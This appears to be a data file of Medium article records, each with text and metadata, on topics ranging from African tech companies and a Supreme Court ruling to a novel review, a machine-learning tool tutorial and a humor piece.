Chinese technology companies were able to quickly adapt to changing circumstances in their attempts to not only minimize their own damage, but also to protect others. | https://medium.com/the-mind-of-heads-and-hands/what-features-appeared-in-the-chinese-super-app-and-delivery-services-during-the-coronavirus-df52e4087c2f | ['Heads'] | 2020-05-22 10:31:16.633000+00:00 | ['Coronavirus', 'Apps', 'Business Strategy', 'E Commerce Business', 'Ecommerce'] |
Today I’m Glad I Have the Courage to be Viewed as Different | I realize I am different.
My way of believing about certain things is different.
Because of this.
I have chosen to have the courage to be viewed as different.
I know being different is not necessarily negative or bad.
It is simply not being the same as others. | https://byrslf.co/today-im-glad-i-have-the-courage-to-be-viewed-as-different-da9e664bedb | ['Carla D. Wilson Laskey'] | 2020-12-21 04:51:29.803000+00:00 | ['Courage', 'Choices', 'Wisdom', 'Beyourself', 'Lessons Learned'] |
Curious men flock to Hilton hotel in Sanya after sexy blogger offers ‘free sex’ | Curious men flock to Hilton hotel in Sanya after sexy blogger offers ‘free sex’
After groups of men began arriving at her hotel door, the woman tried to explain that her offer was only a joke
A sultry blogger recently set off a veritable stampede of men to a Hainan hotel after posting a message on social media offering “free sex.”
Last Thursday night, the woman, Ye Mouyi, who goes by the username Qianjin Yeye (千金怡怡), posted on Weibo and WeChat a brief message saying: “Who’s coming to find me… to have sex… for free… 6316.”
That number was Ye’s hotel room, while the message was geotagged, placing her at the DoubleTree Resort by Hilton Hotel overlooking Sanya’s Haitang Bay. The post was also accompanied by a video showing Ye in her bikini inside her hotel room.
Social media rumors claim that around 3,000 people showed up at the hotel after reading Ye’s message. While that is almost certainly an exaggeration, a number of men did make their way to the Hilton, even going so far as to knock on Ye’s door, while others chose to call up the hotel’s front desk and ask for more information about the occupant of Room 6316.
One guy even uploaded a video of himself giddily walking the hotel’s halls and arriving at Ye’s room.
And here’s a photo of what allegedly was going on in neighboring Room 6315 that night.
Ye quickly came to regret her message, imploring people to stop forwarding it around, claiming that she was only joking.
Eventually, she was forced to call the front desk and have hotel employees escort her out of the building.
According to the Beijing News, after receiving complaints from the hotel, local police launched an investigation into the matter, apprehending Ye the following day at the airport.
Ye admitted to sending out the post to attract more social media followers. On charges of prostitution and disrupting the hotel’s busines, she has been placed under detention for 15 days, fined 500 yuan, and has had her Weibo account taken down.
[Images via Beijing News] | https://medium.com/shanghaiist/curious-men-flock-to-hilton-hotel-in-sanya-after-sexy-blogger-offers-free-sex-a1e7938ecdb2 | [] | 2018-03-06 13:01:07.219000+00:00 | ['Social Media', 'Sex', 'China', 'Prostitution', 'Hotel'] |
With a population of over 1.2 billion people here are Africa’s Most Innovative Companies 2019 | With a population of over 1.2 billion people here are Africa’s Most Innovative Companies 2019 TechAmbassador May 6, 2019·11 min read
With a population of over 1.2 billion , Africa is home to three unicorns, or private companies with a valuation of more than $1 billion. The List of the companies making the most profound impact on both the tech industry and community with a variety of innovations to thrive in today’s Africa Changing Ecosystem. A brief Read on how these companies are creating the future today, plus their mission and aim. Hope you get inspired by these Entrepreneurs & founders in their businesses.
First of:
KENYA+
SAFARICOM
Safaricom is a leading communications company in Kenya with the widest and strongest coverage. The home of the famous Mobile Money service- M-PESA and is a listed Kenyan mobile network operator headquartered at Safaricom House in Nairobi, Kenya. It is the largest telecommunications provider in Kenya, and one of the most profitable companies in the East and Central African region. CEO: Robert Collymore (1 Nov 2010–) Headquarters: Nairobi Founded: 1993 Number of employees: 5,500
Great innovation Brands: M-Pesa; Masoko; Songa; M-shwari; M-Pesa1Tap, Fuliza and now Ndoto Zetu to help the communities. the largest telecommunications provider in Kenya.
Cellulant
Digital Payments in Africa, by Africans, for Africa is a leading Pan-African payments company providing a one-stop digital payments platform. Cellulant’s belief in providing solutions to everyday challenges across Africa has led to digitizing payments end to end for various value chains and as a result, providing increased transparency and broader reach within a single mobile commerce platform for financial sector players. Cellulant is on a mission to build the number 1 payments business in Africa; led by values-driven entrepreneurial-minded people. This is aimed at fixing Africa’s payments problems by connecting 700M mobile users to payments that power their daily lives. Today, Cellulant’s payments platform spans 1 in 10 Africans, with 2.5 million doing monthly transactions. Cellulant’s coverage extends to 50% of banks in Africa and 17 million unbanked farmers in Africa. Cellulant debuted operations in Kenya and Nigeria in 2004 and has grown to operate across 11 African countries, including Zambia, Ghana, Zimbabwe, Tanzania, Uganda, Botswana, Mozambique, Malawi, Rwanda and a combined team of up to 350 people.
Ushahidi
Ushahidi develops free and open source,software for information collection, visualization, and interactive mapping.Ushahidi, which means “testimony” in Swahili, was initially a website developed to map reports of violence around the 2008 Kenyan election. The company has since evolved to become a tech non-profit that specializes in developing f ree open-source software for data collection, visualization and interactive mapping. Ushahidi started as an ad-hoc group of Kenyan bloggers hammering out code in a couple of days from various locations, trying to figure out a way to gather more and better information about the 2008 post-election violence in Kenya. Ushahidi’s mission is to build and use technology to help marginalized people raise their voice, and those who serve them to listen and respond better.
BRCK
Launched in 2013, the original BRCK is a rugged router designed for harsh environments with limited connectivity and power. The company has since rolled out further products: the Kio Kit for use in educational institutions; the enterprise-grade SupaBRCK; and the BRCK Moja — which can be used as a free public WiFi hotspot.
SENDY
Sendy was launched in Kenya in 2014 with the mission to build partnerships that unlock new possibilities for businesses and individuals. The Kenya-based company is a delivery platform that connects businesses and individuals with drivers of all vehicle types making deliveries simple and transparent using a cutting edge, user-focused technology. When customers place delivery requests through the platform, Sendy dispatches these orders in real time to the closest available Sendy Partner Drivers. At Sendy, we believe delivery can move people, and even whole communities, forward because delivery unlocks potential, powers growth, and opens up a world of new possibilities.”
Eneza Education
Eneza Education is working in Kenya, using simple mobile technology, to build an educational ecosystem. Eneza’s mission is to spread quality educational tools to the most remote schools in Kenya and eventually, the world. In Kiswahili, “eneza” means “to reach” or “to spread.” We are a dedicated team of individuals who share the same goal of giving students access to quality study material aligned to local content using the most common form of technology in Kenya, the mobile device. Eneza Education aims to make 5 Million students in rural Africa smarter by leveraging low cost mobile technology. We’re a virtual tutor and teacher’s assistant that uses high quality educational content for students and relevant data, tips and resources for teachers, all on a simple mobile phone. We’ve currently reached over 2,100,000 offline users at 8,000+ schools in Kenya, Tanzania and Ghana. Are you interested in bringing Eneza to your country? Contact us: BD@enezaeducation.com.
Twiga is on its way to being Africa’s largest grocer. We’re using a mobile-based, cashless, business-to-business (B2B) supply platform to access distribution into the millions of small and medium size vendors in African urban markets. links farmers and vendors to fair, trusted, modern markets. Providing a complete supply chain in Kenya for quality produce in urban areas, with over 18000 farmers connected to the network.
NIGERIA+
ANDELA
Andela is an African company that identifies and develops software developers. The company launched operations in Nigeria in 2014, to help global companies overcome the severe shortage of skilled software developers and has offices in Nigeria, Kenya, Uganda and the United States developers operate as dedicated remote team members. They work using your software development tools, adhere to your SDLC processes,
Founded: 21 May 2014, Number of employees: 1,458 (November 2018), Number of locations: 5
Flutterwave is a payment technology company focused on helping banks and businesses provide seamless and secure payment experiences for their customers. On a mission to build payments infrastructure to connect Africa to the global economy. We do this by building technology, tools, and infrastructure for businesses and banks who want to provide a more seamless and secure payments experience for their customers. Founded in 2016 by a team of African finance and technology veterans from Standard Bank, PayPal, Google Wallet amongst others. Flutterwave has grown to become one of the fastest growing payments companies in the world. Since inception Flutterwave has processed close to $2 billion in payments and 25 million transactions across over 33 African countries where it currently operates. It has attracted significant investment from experienced Fintech investors such as Ycombinator Continuity Fund (investors in Stripe), Greycroft (investors in Braintree and Venmo), Greenvisor Capital, Omidyar Network, and Glynn Capital amongst others. In 2017 Flutterwave was named Africa’s best fintech company at the Apps Africa Innovation Awards.
iROKOtv is a web-based platform that provides free and paid-for Nigerian films on-demand.iROKOtv is your number one destination for some of the best loved Nigerian and Ghanaian films online; bring you the best of both Nigeria’s Yourba and English entertainment . founded in Nigeria.
Paga is a financial institution that allows to send money, pay bills and receive payments easily from your mobile. Paga is the #1 money transfer and payments service in Nigeria. Send and receive cash, pay bills,merchants and buy airtime — All from your phone, online or at a Paga agent! With 10 million users.
JUMIA
Jumia is the leading internet platform in Africa, which offers easy online and mobile shopping, travel, classifieds and services platform. By providing technology to connect customers to businesses, Jumia simplifies life with easy-to-use applications and smart solutions across the continent’s internet sector. Jumia is the parent group of nine companies in more than 30 African countries. Its network of companies includes Jumia, Jumia Market, Jumia Travel, Jumia Food, Jumia Deals, Jumia House, Jumia Jobs,Jumia Car and Jumia Services. Jumia Services provides a complete e-commerce fulfillment platform through a network of our own-managed and third-party warehousing, order processing, and logistics service providers. Jumia Services combines the capabilities of our own and carefully selected 3PL partners onto one seamless service offering, thereby offering the best services available in each of our markets through a one-stop-shop service interface. now set to IPO on NYSE.
SOMALIA+
Gulivery
Gulivery developed a mobile app that allowed people to order meals and groceries from restaurants and supermarkets, and have them delivered to their doors by the startup’s delivery partners. The startup was launched in 2017 in Somalia, after husband and wife Deeq Mohamed Hassan and Sado Ali Baroot moved back to Hargeisa from London and realised there was a huge gap in the market. It swiftly expanded to the capital Mogadishu, and has now added e-hailing services, allowing users to access safer, cost-effective and moreconvenient transportation solutions.
Farm Africa
Farm Africa is an innovative charity that reduces poverty by unleashing African farmers’ abilities to grow their incomes in an environmentally sustainable way. focused on eastern Africa. Today we operate in Uganda, as well as continuing our programmes in Kenya, Tanzania and Ethiopia.
CAMEROON+
AppsTech
AppsTech is a leading global provider of enterprise software solutions. We provide implementation, training and application management services for companies around the globe. AppsTech is an Oracle Platinum Partner AppsTech is an SAP Partner AppsTech is a PearsonVue Testing Center, Motto: we make business run smarter Global
(us. Africa. Europe)
WeCashUp is a Universal Payment Platform that enables e-merchants to accept Cash, Mobile Money, Cards and Crypto payments via 1 single API. a Panafrican Payment Gateway used by online merchants to accept all types of payment solution available in Africa. Our mission is to help online merchants process Cash, Mobile Money, Bank account and Card payments With our universal payment method, WeCashUp, online merchants will do more business online at a significant panafrican scale. Today, the African market is fragmented geographically. We will unify it digitally.
Njorku is a technology based platform for career and recruitment services in Africa. Njorku — Launched in March 2011, the Njorku job search engine helps users find careers across Africa. Active in seven countries, the platform offers free and unlimited access to hundreds of thousands of job listings. The company h as already raised seed funding from a business angel in France and a Canada-based technology company.
SOUTH
AFRICA+
Price Check — As the largest price comparison site in South Africa and Africa as a whole, PriceCheck considers the prices of thousands of products. In May it faced 100,000 other entrants to win the International “App of the Year” at the BlackBerry Live conference in Florida.
Snapplify is a content and media technology solutions provider which focuses on distribution and mobile publishing. Snapplify, a digital publishing provider, enables publishers & retailers to sell content via branded mobile apps including rich media and interactive content. Snapplify is a leading global edtech company focused on content distribution, mobile publishing and innovation for digital education. Our responsive and interactive e-learning solutions are already being implemented in hundreds of schools. Snapplify for Education, a suite of products for digital reading and e-learning, is transforming classrooms by empowering teachers and students to teach and learn, digitally
Naspers is a multinational media and internet group with technology investments and operations in more than 130 markets.Naspers is a multinational media company with principal operations in electronic media and print media. founded in 1915 in Stellenbosch, South Africa to produce a Dutch language newspaper. have invested in, acquired and built leading companies and brands in Africa, the Americas, Asia, Europe, and the Middle East. These include Media24, MultiChoice, Showmax, takealot (Africa and South Africa), letgo and Movile (the Americas), Tencent (China), Avito and Mail.Ru (Russia), Flipkart, ibibo, MakeMyTrip and redBus, (India), eMAG, Kreditech, and Delivery Hero (Europe), and dubizzle in the Middle East). OLX PayU, and SimilarWeb are global brands, operating and providing services in many of our countries and markets.
YOCO
Yoco, the #1 mobile card reader for South African small & medium businesses.Yoco is an African technology company that builds tools and services to help small businesses get paid, run their business better, and grow. We believe that by opening up more possibilities for entrepreneurs to be successful, we can help create more jobs, enable people to thrive and help to drive our economy forward. Process Credit Card Payments and start your business empire with yoco. https://www.yoco.co.za/za/
UGANDA+
Cars Classifieds in Uganda, the first cars classifieds website in Uganda. Buy and sell online your new and second hand used cars, motorbikes and trucks in Uganda with CarKibanda.
Mara Group is a pan-African multi-sector business with extensive operating experience in both African and international markets. Mara Online is a family of web and mobile platforms that allow users to communicate, interact and collaborate. Sometimes referred to as Africa’s answer to Skype, the May launch of the company saw a chartered jet fly over Silicon V alley with a Mara-branded banner that read, “It’s Time For Africa.”
ETHIOPIA+
Ethiojobs.net is the premier e-recruiting service in Ethiopia, which has so far provided a world-class recruitment service. It has so far managed to build a human resource bank consisting of no less than 300,000 CVs creating the most comprehensive pool of CVs in Ethiopia. Ethiojobs.net is dedicated to bridging the gap between employers and job seekers. Driven by a team of qualified staff members and utilizing sophisticated computerized database system, ethiojobs.net is devoted to upholding high industry standards and providing superior recruiting platform to its clients.
Gebeya
Gebeya, launched in 2016 which aims to graduate 5,000 students in Ethiopia over the next five years. The startup also launched in Kenya in January of 2017, and has since expanded to Silicon Valley, the UK, Djibouti and Senegal. The startup trains individuals in software
development and entrepreneurship, and then helps place them in relevant jobs. It has now partnered IFC and the Women Entrepreneurs Finance Initiative (We-Fi) to implement the Digital Gender-Ethiopia Programme, which will provide training to 250 female software developers and seed funding to 20 female entrepreneurs whose digital business ideas will be supported by Gebeya. the brainchild of CODERS4AFRICA, aims to provide tech professionals in Africa with the training they need to advance in their careers and become a part of the growing tech industry on the continent.
RWANDA+
Yubeyi.com is an online shopping website dedicated to Rwandans who does not want to spend their time crossing all towns looking for stuff Yubeyi is Rwanda’s online shopping destination, you can buy from our range of selection of categories like computers, mobile phones, Electronics, Fashion and many more and get all shipped to your place or your office without wasting your time and crossing all shops
Fortune of Africa
Fortune of Africa is a website dedicated to providing up to date information on business, tourism and investment in Africa. Making Africa visible to the world! Forget the years of Africa being a dark continent. We are illuminatin g every country on the continent on our website because Africa is a place where great opportunities lie. Forget the years of Africa being a dark continent. We are illuminating every country on the continent on our website because Africa is a place where great opportunities lie. Follow us on www.fortuneofafrica.com
ARED GROUP
Founded in 2013, ARED is a Platform as a Service company based in Rwanda with operation in Uganda. We developed a Smart Business in a Box solar kiosk, app and software platform that empowers mostly women and people with disabilities using a micro franchise business model.We offer key services on the kiosk such as internet WIFI, intranet solutions for offline users, and phone charging services to be the first one stop shop platform on the African continent.With our app, we offer additional services such as airtime, mobile money, prepaid electricity, and tax payment services to create a one-stop shop center for our customers. On our intranet network, we offer branding capabilities for companies, data collection, and user analytics. We are the only one stop shop solar kiosk on the African market.
GHANA+
Easiest way to rent, buy & sell property in Ghana, meQasa is working toward an efficient housing search experience in Africa primarily for prospective tenants. We aspire to be the source of reliable information on housing in Africa. We collaborate with brokers, owners and tenants to create complete and dynamic property profiles. We advertise online all adequately profiled properties that are vacant. meQasa facilitates communication and meetings between prospective tenants and owners or their representatives. meQasa is Ghana’s leading online real estate marketplace showcasing thousands of property available for rent or purchase — both residential and commercial — from across the country.
Business directory / customer reviews, Makolapapa is a Ghanaian online portal that seeks improve customer service.This we do by encouraging honest customer reviews for all business that exist on our platform. Businesses on our platform do benefit from our reach (traff ic) as well as gaining proper business insights. Voice of the Ghanaian Customer| An Online Review Platform for every Ghanaian customer who wants to share their experiences with other customers. You deserve it.
Have some more interesting companies to add? comment below : | https://medium.com/@SirkevinOkune/with-a-population-of-over-1-2-billion-people-here-are-africas-most-innovative-companies-2019-b9a2bf1f7bf6 | [] | 2019-05-06 06:52:25.016000+00:00 | ['Africa', 'Entrepreneur', 'Innovation', 'Company', 'Technology News'] |
An End of Faithless Electors | An End of Faithless Electors
Originally posted on July 10, 2020
On Monday, July 6, 2020, the United States Supreme Court released the unanimous opinion on Chiafalo v Washington and the companion case Colorado Department of State v. Baca. These were two of the most important cases this term, and the decision will have far-reaching and long-term implications.
The cases centered on a group of people chosen as Democratic Electors for the states of Washington and Colorado and their decision to not vote for Hillary Clinton in the 2016 election. Justice Elena Kagan delivered the unanimous opinion for the Court. Justice Clarence Thomas filed a concurring opinion with Justice Neil Gorsuch.
I had mixed feelings on these cases from the beginning. Perhaps the only reason I ever favored the Faithless Electors was because of my independent and chaotic-neutral streaks. In the end, the Supreme Court ruled in favor of the States: A state may enforce (punitively) an elector’s pledge to support their party’s nominee — and the state voters’ choice — for president in the Electoral College.
I read through Justice Kagan’s opinion and very much appreciated the time she spent going through the history of the Electoral College. You can tell she was a law professor before joining the Court. The entire opinion is an excellent course in history and civics. She lays out the history of the Electoral College in a very readable way and explains how the Justices arrived at their unanimous decision. The entire thing is educational and interesting.
This decision explicitly grants the States the power to appoint and legislate the electoral votes they send to Congress. The Electoral College was the most controversial and difficult part of the Constitution, and there is hardly anything concrete in the text. What is there, grants broad powers to the individual States to handle the selection of Electors and how they should behave. I highly recommend reading both Justice Kagan’s and Justice Thomas’ opinions.
One of the long-term implications of this decision relates to the National Popular Vote Interstate Compact (NPVIC). The problems with the NPVIC are numerous, and many observers already consider the entire plan an unconstitutional mess. But the opinion on Monday is yet another nail in the coffin of this grand plan to destroy the Republic.
Chiafalo v. Washington makes clear that the Electoral College must vote as ordered by the State (or suffer consequences) and vote according to the will of the people they represent (the people of the State). Any attempt to legislate away that function will run afoul of the Constitutional role of the Electoral College.
On Thursday, July 9, the Court ended their term with another far-reaching and important opinion — this one from Justice Neil Gorsuch: McGirt v. Oklahoma. In his opinion, Justice Gorsuch once again shows his textualist bona fides and chastises the Government for trying to skip out of legislating uncomfortable situations.
We can sum up the entire case and opinion with this quote from the decision: “Today we are asked whether the land these treaties promised remains an Indian reservation for purposes of federal criminal law. Because Congress has not said otherwise, we hold the government to its word.” | https://thelibertyhawk.com/an-end-of-faithless-electors-2f8b2ec65aba | ['Thaddeus R. Winker'] | 2020-12-21 18:05:43.057000+00:00 | ['Supreme Court', 'Faithless Electors', 'Electoral College'] |
Authenticity in fiction: My problem(s) with Auður Ava Ólafsdóttir’s ‘Hotel Silence.’ | ‘Hotel Silence’ is the latest novel by the Icelandic writer Auður Ava Ólafsdóttir, winner of the Icelandic Literature Prize. It is published by Pushkin Press, a fine outfit that specialises in work in translation. ‘Hotel Silence’ is “Humane, eccentric and bleakly funny” according to the Sunday Times, and “A dark comedy that deals with our darkest thoughts with deft humour, and boasts some surprisingly insightful truths about human nature,” according to Esquire. It is well-rated on Amazon.
But I didn’t like it.
I didn’t like it for three reasons, but all three have to do with authenticity. Let me show you what I mean.
First, though, I should furnish a precis of the plot, such as it is.
Jónas is in his fifties, has a daughter who turns out not to be his own, and is recently divorced from a wife who stopped loving him roughly a decade ago — if, indeed, she had ever loved him to begin with. This has all added up to make him feel it is pointless to go on living, and so he decides to off himself.
However, he fears what the discovery of his corpse would do to his daughter, and so he journeys to an unnamed country that has recently emerged from a terrible conflict.
While you might expect that Jónas would now be plotting to commit suicide-by-war, you would be quite wrong: he travels with a drill and his toolbox so that he can arrange to hang himself in his hotel room.
However, on arrival at the Hotel Silence, he begins to get to know the hoteliers and the other guests, and deems that it would be just as bad to commit suicide there as at home: the collateral damage would be as great. In the final pages we learn that his friend back home in Iceland has committed suicide by walking out into the sea, and so the novel ends with Jónas getting back into a taxi to make the return journey.
Essentially, Jónas learns little to nothing along the way. His character arc is notably flat, and by the conclusion of the novel I felt I knew him as poorly as I did back on page thirty.
The flatness of his character arc, and the thin-to-the-point-of-translucent nature of the plot are not why I disliked ‘Hotel Silence,’ though they did not help. Instead I disliked the book because I felt it horribly inauthentic.
1. Early Warning Signs
At the start of the novel, Jónas is at a tattoo studio. He wishes to get a white tattoo of a lily over a scar on his heart (whether the scar is literal or figurative is left to the reader to decide, I think — or maybe I missed something).
Much of this scene rang false.
First, if Jónas is intent on covering up a scar, getting a white tattoo is probably not the best way to go about it since these tend to appear almost invisible to the naked eye, and when his chest hair had eventually regrown would likely never be seen again.
Secondly, when Jónas approaches the tattooist (who is described in the most cliche-ridden way), the artist is seen holding the tattoo gun in readiness to get down to work. Strange — they have yet to even discuss terms.
“He himself [the tattooist] is covered in tattoos all over his body. I observe a snake winding up his neck and wrapping itself around a black skull. Ink flows through his limbs and the triceps of the arm that holds the needle sports a coil of triple barbed wire.” (Loc 61)
I am not suggesting that Ólafsdóttir, a sixty-two year-old professor of art history, failed to do her research on tattooing before writing this scene; I am simply suggesting that what research she did engage in might not have taken her any further than a TV documentary about celebrity tattoo artists.
In short: the scene felt horribly inauthentic, and somewhat patronising.
2. Where in the World?
I have never liked it when countries are invented to support a plot point. The Bond franchise is guilty in a curious way here. In ‘A Quantum of Solace’ Bond races to South America to foil a coup plot in Bolivia (or does he arrive too late? Or does he not care? I can’t recall, having only been able to watch the film once). However, in the previous film, ‘Casino Royale’, Bond is first witnessed tracking down a suspect in the African country of Nambutu; only, there is no such country. Clearly the producers of the Bond films are occasionally worried of causing offence by naming names. They are not alone.
So when Jónas decides to take a vacation — his last, he believes— in a country recently caught in the grip of a major war, will this country be named? Or will it be given a Bond-like pseudonym?
Neither, it turns out.
Ólafsdóttir decides to make of the country a cipher. It exists only for Jónas to travel to, and just as Achebe complained of Conrad making use of Africa as the inessential backdrop to ‘Heart of Darkness’, so too can it be argued that Ólafsdóttir is writing in bad faith here. Jónas finds his redemption here (or not — it doesn’t much seem to matter); he certainly finds a place for himself, if only for a while, since he is a handyman and seems the only person left in town who can actually repair anything.
The problem with not naming the destination is that, since half of the novel is set in this country, it would really help for our world knowledge to fill in some of the blanks left behind by the author. And there really are some serious blanks here. The country resides in the author’s imagination, but that is where it stays, never escaping the bonds of generalisation. I came away from the book knowing — and caring — nothing for the country nor the plight of its citizens. It didn’t feel real.
It felt inauthentic.
3. Nobody Speaks Like That
Tom Clancy—not the first person I would turn to for philosophising — once remarked that “the difference between fiction and reality is that fiction has to make sense.” Not only fiction: dialogue too needs to be grounded in reality for it to work.
And in ‘Hotel Silence’ it really does not work. Instead, every character speaks like a poet, and since every character thus appears touched with poetry, all of the characters end up blending into one.
Let me illustrate with some quotes. I have not gone through the book looking for exemplifications of this problem; here I am simply going to choose a random page in the book, and pull out what I think are problematic sentences.
“Since you came out of your mother’s womb there have been 568 wars,” says the voice in the armchair. — Loc 173 (spoken, I believe, by the protagonist’s elderly mother, apropos of nothing). “Did you know,” he says, “that in some places in the world scars are symbols that command respect and a person who bears a big and impressive scar is a person who has looked a wild beast in the eye, and tackled his fears, and survived?” — Loc 335 (spoken by Jónas’s friend Svanur, after Svanur has shown Jónas his scars from the surgery to fix a slipped disc; whether the disc slipped during a battle with a wild beast is not known). “The best moments in my life,” I hear Svanur say, “are when I’m lying alone inside a sleeping bag up on a heath, holding my rifle at the crack of dawn, waiting for the birds to wake up. Remaining silent and staring at the crust of snow. It’s like being inside a womb. One feels secure. One doesn’t need to be born. One doesn’t need to come out.” — Loc 537 (the first half of this quote would have sufficed for me; at forty I have yet to hear a single male friend speak the word ‘womb’, but maybe I’ve lived a sheltered existence). “Cats have always outlived man,” he says. “If not your cat, then someone else’s.” — Loc 995 (spoken by the owner of Restaurant Limbo — I’m not even making it up — for no reason, and with even less sense).
And on it goes.
Saving Grace
Perhaps I’m being overly harsh. There are aspects of the novel that I liked. Just as I found the part of ‘A Town Like Alice’ that dealt with the evolution of the shoe factory in Alice Springs to be fascinating, I really enjoyed Jónas’s adventures in the world of the handyman. They were relaxing, almost zen-like, not to mention well-delivered. It felt like Ólafsdóttir knew what she was writing about.
Unfortunately, the book was just too bogged down in things that didn’t work — you could say there was an under-abundance of detail, and even when the details were supplied, they came across as deeply inauthentic. When Fifi, the young man running the hotel, finds a box of books in the basement, each one is like a key to some aspect of Jónas’s soul; not a single one of them is by Danielle Steel. If one had been, I think I might have liked ‘Hotel Silence’ a lot more. | https://medium.com/longform-literary-reviews/authenticity-in-fiction-my-problem-s-with-au%C3%B0ur-ava-%C3%B3lafsd%C3%B3ttirs-hotel-silence-ebda37c6bb02 | ['Christopher Walker'] | 2020-05-16 18:58:15.697000+00:00 | ['Book Review', 'Icelandic Fiction', 'Literature', 'Fiction', 'Longform Review'] |
How to Decide Between Algorithm Outputs Using the Validation Error Rate | How to Decide Between Algorithm Outputs Using the Validation Error Rate Monument Follow Aug 12 · 3 min read
Monument (www.monument.ai) enables you to quickly apply algorithms to data in a no-code interface. But, after you drag the algorithms onto data to generate predictions, you need to decide which algorithm or combination of algorithms is most reliable for your task.
In the ocean temperature tutorial, we cleaned open remote sensing data and fed the data into Monument in order to forecast future ocean temperatures. In that case, we used visual inspection to evaluate the accuracy of different algorithms, which was possible because the historical data roughly formed a sine curve. Visual inspection is one tool in the data science toolbox, but there are other tools as well.
The Validation Error Rate is another useful tool in cases where you want to get more fine-grained or where visual inspection does not yield obvious insights. There are other error functions that can be used, but Validation Error Rate is the default error function in Monument.
What Is The Validation Error Rate And Why Is It Important?
The Validation Error Rate measures the distance between “out of sample” values and estimates produced by the algorithm. You can find this metric in the INFO box in the lower-left corner of the MODEL workspace.
As a general rule of thumb, the “more negative” your Validation Error Rate is, the more accurate the model is. Negative infinity would be a perfect model. In the real world, as we will see with our ocean temperature data, sometimes the best you can do is a small, but nevertheless positive number.
Currently, Monument only displays one Validation Error Rate at a time. To view the Validation Error Rate for other algorithms that you have trained, click the drop-down arrow on the right side of the algorithm pill and select SHOW ERROR RATE.
To compare the performance of the models, I have pasted below a table of all the Validation Error Rates applied to the ocean temperatures data, sorted from lowest to highest.
Algorithm Performance On The HABSOS Data
As we discovered in the tutorial, with default parameters, AR and G-DyBM perform the best on the cleaned and transformed data.
How To Improve Algorithm Performance
Typically, we can improve the Validation Error Rate — i.e. make it “more negative” — by adjusting the algorithms’ parameters. You can access an algorithm’s parameters by selecting PARAMETERS in the algorithm pill drop-down.
Choosing which parameters to edit to improve performance depends heavily on your business objectives and the nature of the data you’re looking at. We will cover common cases in future tutorials, but the best approach is to experiment yourself to develop an intuition around which parameters most improve results for different kinds of data.
Certain algorithms allow for automated parameter adjustment. In Monument, the LSTM and LightGBM algorithms also have “AutoML,” which is short for Automated Machine Learning. AutoML automatically adjusts an algorithm’s parameters to optimize performance. You can select AUTOML from the algorithm drop-down to access these capabilities.
For example, when we run AutoML on the HABSOS data, we can lower the Validation Error Rate by 0.04 from 3.273 to 3.233. Not a huge improvement on this particular data, but an improvement nonetheless. Often, the gains are much greater.
There are other reports within Monument that we can use to improve algorithm performance, including, dependent variables, forecast training convergence, and feature importance. We’ll explore these topics in future tutorials. | https://medium.com/swlh/how-to-decide-between-algorithm-outputs-using-the-validation-error-rate-c288a358ca9b | [] | 2020-08-15 23:34:51.982000+00:00 | ['Machine Learning', 'Automl', 'Algorithms', 'Artificial Intelligence', 'Big Data'] |
Holonomics launch new book in partnership with Walter Mancini | Photo: Holonomics
We are delighted to announce the publication of our new book which tells the story of one of the most interesting people we have ever had the pleasure to meet, Walter Mancini, one of Brazil’s most famous restaurateurs.
This book came about after we included an interview with Walter in the final chapter of Customer Experiences with Soul: A New Era in Design, published in the UK in 2017. Our aim for Customer Experiences with Soul was to write about customer experience design which approached the discipline in a way which had never been discussed before. It is a book which links the tools, techniques and frameworks for developing customer experiences with soul with an exploration of the questions of authenticity, purpose and human values.
Walter’s love of art and food, and his continual attention to the experience of his clientele, have resulted in the one of the most delightful and enchanting dining experiences in São Paulo. He deserves high praise for his restaurants, creating such a festive and joyful experience for us to explore, contemplate and plunge into.
Our conversations with Walter were a wonderful opportunity for us to meet the person behind the restaurants, and behind his vision of Rua Avanhandava, the road along which all of his restaurants are located, a region which he has regenerated and brought back to life in the heart of the city. Although we had only meant to record a short quote for our book, something really quite remarkable, enchanted, magical even happened when we switched the recorder on, something quite unexpected.
While Walter has of course been interviewed numerous times and is already well known internationally as one of São Paulo and Brazil’s most successful restaurateurs, what emerged from our conversation was a picture of Walter which had never been revealed to the world before. In fact, having read our interview with him in our book, he remarked that none had ever approached the depths and levels of profundity which we had been able to reach.
Photo: Holonomics
For this reason, Walter approached us to see if we would like to work with him to turn our final chapter eight into a new book. He saw this as an opportunity to share his incredible story and his philosophy with all of his clients who visit his restaurants. Over the course of a number of weeks, we met up with Walter a number of times to record more of his anecdotes and philosophy. Our vision was to create a book which would allow people not only to read about Walter, but to have a genuine and profound encounter with him, as we had done. In Walter we found someone who epitomises Customer Experiences with Soul, from his authenticity, his values, generosity, ways of working, his systemic vision, his understanding of nature, and his awareness of his story, his place in the world, and his very being.
Our new book, titled Chapter Eight: An Encounter with Walter Mancini, has been lovingly crafted on cream-coloured paper, and illustrated with both figures and photographs. In addition to the original chapter eight from Customer Experiences with Soul, we also included an introduction and an extended epilogue. It is published in Portuguese and is available from Manchini’s restaurants in Rua Avanhandava, São Paulo. All proceeds from the book will be donated to Fraternidade Irmã Clara, a social project which cares for people diagnosed with cerebral palsy.
About Holonomics
Holonomics is a business consultancy that supports organisations in their transformation processes based on the New 4Ps — Platforms, Purpose, People and Planet. We are specialists in the areas of strategy, customer experience, deep tech and cultural and digital transformation. | https://medium.com/@srerobinson/holonomics-launch-new-book-in-partnership-with-walter-mancini-d0315424f1cf | ['Simon Robinson'] | 2021-03-23 10:20:40.587000+00:00 | ['Customer Experience', 'Soul', 'Walter Mancini', 'Holonomics', 'Service Design'] |
90s Themed Bootcamp for Spoiled Teens | HUMOR/SATIRE
90s Themed Bootcamp for Spoiled Teens
Watch Your Teens Sullen Ways Dissolve As They Gain an Appreciation for the Days of Your Youth
Does your teen suffer from the inability to talk to you without looking at their phone? Is their answer to, “How was your day?” always one syllable? Do you only see a spark in their eye at the mention of online gaming? Do they say things that your mother would have answered with the help of a long wooden spoon?
If one of your most frequent thoughts around your teen is, “If you only knew how good you have it,” then treat them to a chance to see things from your point of view and send them to our Back to the 90s Bootcamp.
There, they can see how you had it back in your day when teens somehow survived while being forced to do stuff like go inside buildings to pick out a video or calling friends on the phone and actually talk to them.
Our Back to the 90s Bootcamp emulates being a teen in the 1990s so your teen can see first hand the days before the internet was a real thing.
Our camp also utilizes the best aspects of the pop culture from your 90s youth to give them a new appreciation for the icons of your teen years while providing a lively learning experience.
Teens who display resistance to obedience will be pulled aside while Clarissa Explains It All over and over again until they really, really get it.
For the first few days, in order to facilitate your teen’s shedding of their sullen ways, they’ll be shadowed by our highly-trained Daria impersonators who will show them just how deep and dark sullen can go.
